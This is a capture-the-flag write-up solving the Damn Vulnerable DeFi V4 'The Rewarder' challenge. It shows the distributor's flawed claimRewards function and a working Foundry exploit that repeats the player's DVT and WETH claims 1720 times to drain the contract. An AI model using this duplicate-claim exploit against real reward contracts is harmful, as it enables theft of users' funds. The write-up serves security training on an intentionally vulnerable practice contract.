# Damn Vulnerable DeFi V4 - The Rewarder
[toc]
## Intro
A contract is distributing rewards of Damn Valuable Tokens and WETH.
To claim rewards, users must prove they’re included in the chosen set of beneficiaries. Don’t worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction.
Alice has claimed her rewards already. You can claim yours too! But you’ve realized there’s a critical vulnerability in the contract.
Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account.
<br>
## Source Code
https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/the-rewarder
https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/the-rewarder/TheRewarder.t.sol
<br>
## Prerequisite Knowledge
https://x.com/DegenShaker/status/1825835855140868370
<br>
## Sample Claim
To start a claim, we have couple things to do
- `tokensToClaim` array with the token we want `[DVT, WETH]` as the example
- `claims` array, each element has the structure like the following
```solidity!
struct Claim {
uint256 batchNumber;
uint256 amount;
uint256 tokenIndex;
bytes32[] proof;
}
// example as following
Claim ({
batchNumber: 0, // claim corresponds to first DVT batch
amount: ALICE_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 2) // Alice's address is at index 2 from the dvt-distribution.json and the weth-distribution.json
})
```
<br>
Next check how to claim as Alice
```solidity=
// Let's claim rewards for Alice.
// Set DVT and WETH as tokens to claim
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
Claim[] memory claims = new Claim[](2);
// First, the DVT claim
claims[0] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: ALICE_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 2) // Alice's address is at index 2
});
// And then, the WETH claim
claims[1] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: ALICE_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 2) // Alice's address is at index 2
});
// Alice claims once
vm.startPrank(alice);
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
```
<br>
## Analysis
To solve the challenge, we need to drain most of the DVT token and the WETH from the `distributor` contract
Test file
```solidity=
function _isSolved() private view {
// Player saved as much funds as possible, perhaps leaving some dust
assertLt(dvt.balanceOf(address(distributor)), 1e16, "Too much DVT in distributor");
assertLt(weth.balanceOf(address(distributor)), 1e15, "Too much WETH in distributor");
// All funds sent to the designated recovery account
assertEq(
dvt.balanceOf(recovery),
TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT - dvt.balanceOf(address(distributor)),
"Not enough DVT in recovery account"
);
assertEq(
weth.balanceOf(recovery),
TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT - weth.balanceOf(address(distributor)),
"Not enough WETH in recovery account"
);
}
```
<br>
Source code
From https://medium.com/@opensiddhu993/challenge-5-the-rewarder-damn-vulnerable-defi-v4-lazy-solutions-series-a08e32b84df9
> `createDistribution(IERC20 token, bytes32 newRoot, uint256 amount)`
> - Creates a new distribution for a token with a given Merkle root and amount.
>
> `claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens)`
> - works for multiple claims at single call.
> - It takes claims and tokens in input and in execution it transfers the rewards and also account that claim is being claimed using _setClaimed.
>
> `_setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256 newBits)`
> - Internal function to mark claims as processed and update the remaining token amount
The happy flow is like claim DVT, next claim WETH.
`[DVT, WETH]`
After all claim runs, call `_setClaimed` to mark the user has claimed the funds.
<br>
**However, what if the claim is like the following?**
**Claim 5 times for each token?**
`[DVT, DVT, DVT, DVT, DVT, WETH, WETH, WETH, WETH, WETH]`
It will claim 10 times, run the tansfer 10 times and call `_setClaimed` only 1 time
```solidity=
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
// for the last claim <-- VULNERABLE!!
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}
```
With this imformation, now we are able to create a large claim array, claim same token multiple times.
This will drain the wallet.
<br>
## Attack
1. Prepare the leave as the `setUp()` did
2. Calculate how many times we need to claim
- total balance / the amount we put(max amount we can claim 1 time)
3. Prepare the claim array by a big forloop
```solidity=
function test_theRewarder() public checkSolvedByPlayer {
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
uint256 player_DVT_CLAIM_AMOUNT = 11524763827831882;
uint256 player_WETH_CLAIM_AMOUNT = 1171088749244340;
// calculate how many times to claim can drain the victim
uint256 dvt_times = dvt.balanceOf(address(distributor)) /
player_DVT_CLAIM_AMOUNT;
uint256 weth_times = weth.balanceOf(address(distributor)) /
player_WETH_CLAIM_AMOUNT;
uint256 total_claim_times = dvt_times + weth_times;
console.log(total_claim_times);
console.log(dvt_times);
console.log(weth_times);
// Set DVT and WETH as tokens to claim
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
Claim[] memory claims = new Claim[](total_claim_times);
bytes32[] memory dvtProof = merkle.getProof(dvtLeaves, 188); // player's address is at index 188
bytes32[] memory wethProof = merkle.getProof(wethLeaves, 188); // player's address is at index 188
for (uint256 i = 0; i < total_claim_times; ++i) {
if (i < dvt_times) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: player_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: dvtProof // player's address is at index 188
});
} else {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: player_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: wethProof // player's address is at index 188
});
}
}
// claim the reward
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
// transfer the funds to recovery
uint256 dvtPlayerBalance = dvt.balanceOf(player);
uint256 wethPlayerBalance = weth.balanceOf(player);
dvt.transfer(recovery, dvtPlayerBalance);
weth.transfer(recovery, wethPlayerBalance);
}
```
From the output we can see total claim is 1720
```bash
Logs:
1720
867
853
```